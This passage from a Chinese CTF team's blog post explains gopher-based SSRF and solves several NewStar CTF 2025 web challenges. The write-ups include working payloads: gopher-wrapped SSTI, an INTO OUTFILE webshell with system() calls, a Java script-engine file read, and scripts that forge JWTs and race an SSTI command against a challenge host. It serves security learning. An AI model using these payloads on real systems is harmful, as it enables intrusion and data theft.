gopher\u534f\u8bae\n \u6982\u5ff5\uff1a\n \u2003\u20031.gopher\u534f\u8bae\u662f\u4e00\u79cd\u4fe1\u606f\u67e5\u627e\u7cfb\u7edf\uff0c\u5b83\u5c06internet\u4e0a\u7684\u6587\u4ef6\u7ec4\u7ec7\u6210\u67d0\u79cd\u7d22\u5f15\uff0c\u65b9\u4fbf\u7528\u6237\u4eceinternet\u7684\u4e00\u5904\u5e26\u5230\u53e6\u4e00\u5904\u3002\u4f46\u5728www\u51fa\u73b0\u540e\uff0cgopher\u5c31\u5931\u53bb\u4e86\u6614\u65e5\u7684\u8f89\u714c\u3002\n \u2003\u20032.\u73b0\u5728\u5b83\u5df2\u8fc7\u65f6\u3002\u5b83\u53ea\u652f\u6301\u6587\u672c\uff0c\u4e0d\u652f\u6301\u56fe\u50cf\u3002\n \u2003\u20033.gopher\u534f\u8bae\u53ef\u4ee5\u505a\u5f88\u591a\u4e8b\u60c5\uff0c\u7279\u522b\u662f\u5728ssrf\u4e2d\u53ef\u4ee5\u53d1\u6325\u5f88\u591a\u91cd\u8981\u7684\u4f5c\u7528\uff0c\u5229\u7528\u6b64\u534f\u8bae\u53ef\u4ee5\u653b\u51fb\u5185\u7f51\u7684FTP\uff0cTelnnet\uff0cRedis,Memcache,\u4e5f\u53ef\u8fdb\u884cGET,POST\u8bf7\u6c42\n \u2003\u20034.\u53ef\u4ee5\u901a\u8fc7gopher\u534f\u8bae\u5c06get\u8bf7\u6c42\u4f2a\u88c5\u6210post\u8bf7\u6c42\uff0c\u4ed6\u662fSSRF\u5229\u7528\u4e2d\u4e00\u4e2a\u6700\u5f3a\u5927\u7684\u534f\u8bae\uff08\u4fd7\u79f0\u4e07\u80fd\u534f\u8bae\uff09\uff0c\u53ef\u7528\u4e8e\u53cd\u5f39shell\n \u8bed\u6cd5\uff1agopher:\/\/127.0.0.1:80\/_{TCP\/IP\u6570\u636e\u6d41}\n \u6ce8\u610f\uff1a\n \u2003\u20031.\u8fd9\u91cc\u7684_\u4e0d\u80fd\u7701\u7565\n \u2003\u20032.\u8fd9\u91cc\u7684\u7aef\u53e3\u9ed8\u8ba4\u662f70\uff0c\u4f46\u8981\u5177\u4f53\u60c5\u51b5\u5177\u4f53\u800c\u5b9a\uff0chttp\u5c31\u662f80\uff0chttps\u5c31\u662f443\n \u2003\u20033.\u5982\u679c\u53d1\u8d77post\u8bf7\u6c42\uff0c\u56de\u8f66\u6362\u884c\u7b26\u5c31\u5fc5\u987b\u8981\u4f7f\u7528%0D%0A,\u544a\u8bc9\u8ba1\u7b97\u673a\u4f60\u5df2\u7ecf\u6267\u884c\u5b8c\u4e86\u3002\u5982\u679c\u591a\u4e2a\u53c2\u6570\uff0c\u53c2\u6570\u4e4b\u95f4\u7684&\u4e5f\u9700\u8981\u8fdb\u884cURL\u7f16\u7801\n \u9700\u8981\u7684\u6761\u4ef6\uff1a\u5728\u6784\u9020\u7684\u65f6\u5019\uff0c\u53ea\u9700\u8981\u4fdd\u7559\u8fd9\u51e0\u6837\u5fc5\u8981\u7684\u4e1c\u897f\u5c31\u884c\n \u2003\u2003gopher : \/\/127.0.0.1:80\/_POST \/flag.php HTTP\/1.1\n \u2003\u2003Host : challenge-0cd16c73a7cf875a.sandbox.ctfhub.com:10800\n \u2003\u2003Content-Type : application\/x-www-form-urlencoded\n \u2003\u2003Content-Length : 36<\/code><\/pre>\n\n\n\nFlag \u5728\u73af\u5883\u53d8\u91cf<\/p>\n\n\n\n
url=gopher:\/\/127.0.0.1:5000\/_GET%2520%252F%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252056%250A%250Aname%253D%257B%257Blipsum.__globals__%255B'os'%255D%255B'popen'%255D('env').read()%257D%257D<\/code><\/pre>\n\n\n\n![\"image-20251130223209913\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130223209913.png\")
<\/figure>\n\n\n\n\u6210\u529f<\/p>\n\n\n\n
10.NewStar2025-week4 sqlupload<\/h2>\n\n\n\n
\u5f88\u65b0\u7684\u77e5\u8bc6\u70b9\uff0c\u5728\u7279\u5b9a\u7684\u4f4d\u7f6e\u6ce8\u5165\u4f60\u7684\u6076\u610f\u4ee3\u7801\uff0c\u7136\u540e\u60f3\u529e\u6cd5\u5c06\u5176\u4fdd\u5b58\u5728\u53ef\u88ab\u6267\u884c\u7684\u4f4d\u7f6e<\/p>\n\n\n\n
?order=upload_time INTO OUTFILE '\/var\/www\/html\/1.php'<\/code><\/pre>\n\n\n\n\u95ee\u9898\u5728 getFileList.php<\/p>\n\n\n\n![\"image-20251130225217389\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130225217389.png\")
<\/figure>\n\n\n\n\u6211\u4eec\u53ef\u4ee5\u63a7\u5236 order \u53c2\u6570\u5c06 filename \u5199\u5165\u5230\u6587\u4ef6<\/p>\n\n\n\n
\u901a\u8fc7\u6293\u5305\u4f20\u4e00\u4e2a\u6587\u4ef6\u540d\u662f\u4e00\u53e5\u8bdd\u6728\u9a6c\u7684\u4e1c\u897f\u4e0a\u53bb<\/p>\n\n\n\n![\"image-20251130225233805\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130225233805.png\")
<\/figure>\n\n\n\n\u628a\u5b83\u4fdd\u5b58\u57281.php<\/p>\n\n\n\n
?order=upload_time INTO OUTFILE '\/var\/www\/html\/1.php'<\/code><\/pre>\n\n\n\n\u8bbf\u95ee1.php\uff0cpost\u4f20\u547d\u4ee4<\/p>\n\n\n\n
\u4f46\u662f\u76f4\u63a5\u8bfb\u53d6 \/readFlag\u662f\u8bfb\u4e0d\u4e86\u7684<\/p>\n\n\n\n![\"image-20251130225409391\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130225409391.png\")
<\/figure>\n\n\n\n\u91cd\u5b9a\u5411\u52302.txt\uff0c\u76f4\u63a5\u8bfb2.txt<\/p>\n\n\n\n
1=system('\/readFlag>2.txt');<\/code><\/pre>\n\n\n\n![\"image-20251130225801015\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130225801015.png\")
<\/figure>\n\n\n\n\u62ff\u5230flag<\/p>\n\n\n\n
11.NewStar2025-week5 \u773c\u719f\u7684\u8ba1\u7b97\u5668<\/h2>\n\n\n\n\/\/\n\/\/ Source code recreated from a .class file by IntelliJ IDEA\n\/\/ (powered by FernFlower decompiler)\n\/\/\n\npackage org.example.newstar.controller;\n\nimport javax.script.ScriptEngineManager;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\n\n@Controller\npublic class NewstarController {\n private String[] BLACKLIST = new String[]{\"import\", \"java.lang.Runtime\", \"new\"};\n\n private String calculate(String content) throws Exception {\n for(String word : this.BLACKLIST) {\n if (content.contains(word)) {\n return \"Blacklisted word detected: \" + word;\n }\n }\n\n Object result = (new ScriptEngineManager()).getEngineByName(\"js\").eval(content);\n return result.toString();\n }\n\n @GetMapping({\"\/\"})\n public String home(Model model) throws Exception {\n return \"index\";\n }\n\n @GetMapping({\"\/calc\"})\n public String status(@RequestParam(\"content\") String content, Model model) throws Exception {\n model.addAttribute(\"result\", this.calculate(content));\n return \"index\";\n }\n}<\/code><\/pre>\n\n\n\n\u76f4\u63a5ai\u68ad\u54c8,\u731c\/flag<\/p>\n\n\n\n
Java.type('java.nio.file.Files').readAllLines(Java.type('java.nio.file.Paths').get(\"\/flag\"),Java.type('java.nio.charset.StandardCharsets').UTF_8).toString()<\/code><\/pre>\n\n\n\n![\"image-20251130230036669\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130230036669.png\")
<\/figure>\n\n\n\n12.NewStar2025-week5 \u5e9f\u5f03\u7684\u7f51\u7ad9<\/h2>\n\n\n\nfrom flask import Flask, request, render_template, abort, redirect, render_template_string\nimport jwt, hashlib, time\n\napp = Flask(__name__)\ntime_started = round(time.time())\nprint(f\"System started at {time_started}\")\nAPP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()\n\ntempuser = None\n\nUSER_DB = {\n \"admin\": {\"id\": 1, \"role\": \"admin\", \"name\": \"Administrator\"},\n \"guest\": {\"id\": 2, \"role\": \"guest\", \"name\": \"Guest User\"},\n}\n\ndef admin_required(f):\n def wrapper(*args, **kwargs):\n cookie = request.cookies.get('session', None)\n if cookie is None:\n\n response = redirect('\/')\n session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')\n response.set_cookie('session', session)\n return response\n try:\n user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])\n if user_data['role'] != 'admin':\n abort(403, description=\"Admin access required.\")\n if user_data['name'] != 'Administrator':\n abort(403, description=\"Admin access required.\")\n time.sleep(0.15) \n except jwt.InvalidTokenError:\n abort(401, description = f\"Session expired. Please log in again. System has been running {round(time.time() - time_started)} seconds.\")\n return f(*args, **kwargs)\n wrapper.__name__ = f.__name__\n return wrapper\n\n@app.before_request #Flask\u7684\u8bf7\u6c42\u94a9\u5b50\uff0c\u5b83\u4f1a\u5728\u6bcf\u4e2ahttp\u8bf7\u6c42\u5904\u7406\u4e4b\u524d\u81ea\u52a8\u6267\u884c\ndef load_user():\n if request.endpoint == 'static':\n return\n global tempuser #\u5168\u5c40\u53d8\u91cf\n cookie = request.cookies.get('session', None)\n if cookie is None:\n tempuser = USER_DB['guest']\n session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256')\n response = redirect(request.path)\n response.set_cookie('session', session)\n return response\n try:\n user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])\n tempuser = user_data \n except jwt.InvalidTokenError:\n session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')\n content = render_template_string(\n \"Session expired. Please log in again. System has been running %d seconds.\" %\n (round(time.time() - time_started))\n )\n response = app.make_response((content, 401))\n response.set_cookie('session', session)\n return response\n\n@app.route('\/', methods=['GET'])\ndef home():\n return render_template('index.html')\n\n\n@app.route(\"\/admin\", methods=['GET'])\n@admin_required\ndef admin_panel():\n global tempuser\n return render_template_string(\"Welcome Back, %s\" % tempuser['name'])\n\n@app.route(\"\/static\/<path:filename>\", methods=['GET'])\ndef serve_static(filename):\n if not filename.endswith('.png'):\n abort(403, description=\"Only .png files are allowed.\")\n return app.send_static_file(filename)\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=5000)<\/code><\/pre>\n\n\n\n\u53d1\u73b0render_template_string\u7684ssti\uff0c\u4f46\u662f\u60f3\u6267\u884c\u547d\u4ee4\u8981admin\uff0c\u5bc6\u94a5\u662f\u670d\u52a1\u5668\u542f\u52a8\u65f6\u95f4\uff0c\u5f53jwt\u89e3\u6790\u9519\u8bef\u5c31\u4f1a\u56de\u663e\u7cfb\u7edf\u8fd0\u884c\u7684\u65f6\u95f4\uff0c\u8003\u8651\u65f6\u95f4\u8bef\u5dee\uff0c\u8ba1\u7b97\u51fa\u7684\u65f6\u95f4\u8981+-1\u8bd5\u8bd5\uff0c\u6240\u4ee5\u5199\u4ee3\u7801<\/p>\n\n\n\n
import requests\nimport time\nimport hashlib\nimport re\n\ndef get_app_secret():\n target_url = \"http:\/\/8.147.132.32:24710\/admin\"\n cookies = {\n 'td_cookie': '2928931217',\n 'session': '1'\n }\n\n try:\n response = requests.get(target_url, cookies=cookies, timeout=5)\n match = re.search(r'System has been running (d+) seconds', response.text)\n if match:\n uptime = int(match.group(1))\n current_time = int(time.time())\n\n # \u8003\u8651\u65f6\u95f4\u8bef\u5dee\uff0c\u8ba1\u7b97\u591a\u4e2a\u53ef\u80fd\u7684\u542f\u52a8\u65f6\u95f4\n for offset in range(-1, 2): \n time_started = current_time - uptime + offset\n app_secret = hashlib.sha256(str(time_started).encode()).hexdigest()\n\n print(f\"\u542f\u52a8\u65f6\u95f4({offset}): {time_started}\")\n print(f\"\u5bc6\u94a5({offset}): {app_secret}\")\n print(\"-\" * 50)\n else:\n print(\"\u65e0\u6cd5\u63d0\u53d6\u8fd0\u884c\u65f6\u95f4\")\n except Exception as e:\n print(f\"\u8bf7\u6c42\u5931\u8d25: {e}\")\n\nif __name__ == \"__main__\":\n get_app_secret()<\/code><\/pre>\n\n\n\n\u4f2a\u9020admin<\/p>\n\n\n\n
import jwt\nimport datetime\n\n# \u5b9a\u4e49\u6807\u5934\uff08Headers\uff09\nheaders = {\n \"alg\": \"HS256\",\n \"typ\": \"JWT\"\n}\n\n# \u5b9a\u4e49\u6709\u6548\u8f7d\u4f53\uff08Payload\uff09\ntoken_dict = {\n \"id\": 1,\n \"role\": \"admin\",\n \"name\": \"Administrator\"\n}\n\n# \u5bc6\u94a5\nsecret = 'c484d1e6ed651fc48231d0629ec282172fe9f41c0d74fd8c2ea34bc325ca8b83'\n\njwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)\nprint(\"JWT Token:\", jwt_token)<\/code><\/pre>\n\n\n\nimport requests\nimport threading\nimport jwt\n\ntarget_url = \"http:\/\/8.147.132.32:24710\"\nsecret = 'c484d1e6ed651fc48231d0629ec282172fe9f41c0d74fd8c2ea34bc325ca8b83'\n\n# \u521b\u5efa\u4e24\u4e2atoken\nadmin_token = jwt.encode({\"id\": 1, \"role\": \"admin\", \"name\": \"Administrator\"}, secret, algorithm='HS256')\nssti_token = jwt.encode({\"id\": 2, \"role\": \"guest\", \"name\": \"{{lipsum.__globals__.os.popen('cat \/f*').read()}}\"}, secret, algorithm='HS256')\n\ndef send_admin_request():\n \"\"\"\u53d1\u9001admin\u8bf7\u6c42\"\"\"\n cookies = {'td_cookie': '2928931217', 'session': admin_token}\n response = requests.get(f\"{target_url}\/admin\", cookies=cookies)\n print(f\"[+] \u6210\u529f! \u54cd\u5e94: {response.text}\")\n\ndef send_ssti_request():\n \"\"\"\u53d1\u9001SSTI\u8bf7\u6c42\u5230\u9996\u9875\u6765\u8bbe\u7f6etempuser\"\"\"\n cookies = {'td_cookie': '2928931217', 'session': ssti_token}\n response = requests.get(target_url, cookies=cookies) # \u8bbf\u95ee\u9996\u9875\u6765\u8bbe\u7f6etempuser\n # \u8fd9\u91cc\u4e0d\u9700\u8981\u6253\u5370\uff0c\u56e0\u4e3a\u6211\u4eec\u53ea\u5173\u5fc3admin\u8bf7\u6c42\u7684\u7ed3\u679c\n\n# \u521b\u5efa\u5e76\u542f\u52a8\u7ebf\u7a0b\nfor i in range(100): # \u5c1d\u8bd5100\u6b21\n t1 = threading.Thread(target=send_admin_request)\n t2 = threading.Thread(target=send_ssti_request)\n t1.start()\n t2.start()\n t1.join()\n t2.join()<\/code><\/pre>\n\n\n\n\u4e0b\u5468\u76ee\u6807<\/h2>\n\n\n\n
\u628a\u5269\u4e0b\u7684\u90a3\u9053\u9898\u6253\u901a\uff0c\u5e76\u5c3d\u529b\u6253isctf\u5427<\/p>\n\n\n\n
\u6587\u7ae0\u76f4\u8fbe\uff1a<\/p>\n\n\n\n\nhttps:\/\/shaneior.github.io\/2025\/11\/26\/%E4%BD%A0%E7%BC%BA%E5%A4%B1%E7%9A%84%E9%82%A3%E9%97%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%AF%BE\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
UKY\u6218\u961f\u5468\u62a5\u5408\u96c6\u2014\u2014\u8bb0\u5f55\u4ece2025\u5e7410\u6708\u8d77\u7684CTF\u5b66\u4e60\u5386\u7a0b\uff0c\u6db5\u76d6NewStar CTF\u590d\u73b0\u3001PHP\u4ee3\u7801\u5ba1\u8ba1\u3001\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u3001SQL\u6ce8\u5165\u3001\u53cd\u5e8f\u5217\u5316\u7b49Web\u5b89\u5168\u65b9\u5411\u7684\u5b9e\u6218\u7b14\u8bb0\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,8],"tags":[34,43,45,49,36,44,47,48,46,6,5],"class_list":["post-38","post","type-post","status-publish","format-standard","hentry","category-rz","category-zs","tag-ctf","tag-php","tag-sql","tag-uky","tag-web","tag-44","tag-47","tag-48","tag-46","tag-6","tag-5"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/posts\/38","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/comments?post=38"}],"version-history":[{"count":2,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/posts\/38\/revisions"}],"predecessor-version":[{"id":131,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/posts\/38\/revisions\/131"}],"wp:attachment":[{"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/media?parent=38"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/categories?post=38"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/tags?post=38"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/61ab71c9a8c1f112c4aa569493eabf01.png\")
<\/p>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/0499789c8210a128e0974eab7566e652.png\")
<\/p>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/38e13c463a71604b8ad38c4b23431990.png\")
<\/p>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/9d9c7b41aa43fcf74f9a23cabf699ae3.png\")
<\/figure>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/b4a1faaca13d98e591bce854f293a0a1.png\")
<\/p>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/0d048bb3fe8859531ccef783e7b1d690.png\")
<\/p>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/25ddf6edb5f2f5f1166a221a8d35afce.png\")
<\/p>\n\n\n\n![\"img\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/0407b52a419ce0fecb90cd14ac4d439d.png\")
<\/figure>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/72973b03e737b882008029f2636feeb1.png\")
<\/figure>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/1c376f24aee082031d903098b92fbb32.png\")
<\/p>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/2df1f822baec2dc8fd6a1b552697fa3d.png\")
<\/figure>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/4b5c788c40f1e9cefe95bab962d3c6ec.png\")
<\/p>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/27e5f7d7c94f4abba69119b7a247d30f.png\")
<\/p>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/a02b080edbb2b0a10b2bb407a5d71dc2.png\")
<\/figure>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/06ada0dd7119b1322a047c38b4354245.png\")
<\/figure>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/d638903efee7930af9721aa3f70f2423.png\")
<\/figure>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/efb5faa8e51142048bd12d3b2722154d.png\")
<\/figure>\n\n\n\n![\"img\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/c1573b707aabe1d7cc04542ba758e166.png\")
<\/figure>\n\n\n\n![\"image-20240124204402834\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/0bfe0c67bc61ad2d596ba43c571ea9e3.png\")
<\/figure>\n\n\n\n![\"image-20240124204821112\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/1fa9fede43fc7f562b8a19d4fc68260f.png\")
<\/figure>\n\n\n\n![\"image-20240124211307795\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/6eaf7473b475be2a149d26c64aa59647.png\")
<\/figure>\n\n\n\n![\"img\"](\"https:\/\/i-blog.csdnimg.cn\/direct\/ee438dc5781d43fc98e4a1053f04f0e9.png\")
<\/p>\n\n\n\n![\"img\"](\"https:\/\/i-blog.csdnimg.cn\/direct\/82e59df37b2e48e88878c7b109814712.png\")
<\/p>\n\n\n\n![\"img\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/1457dfbfaf04375105c58b4cdeb3c947.png\")
<\/figure>\n\n\n\n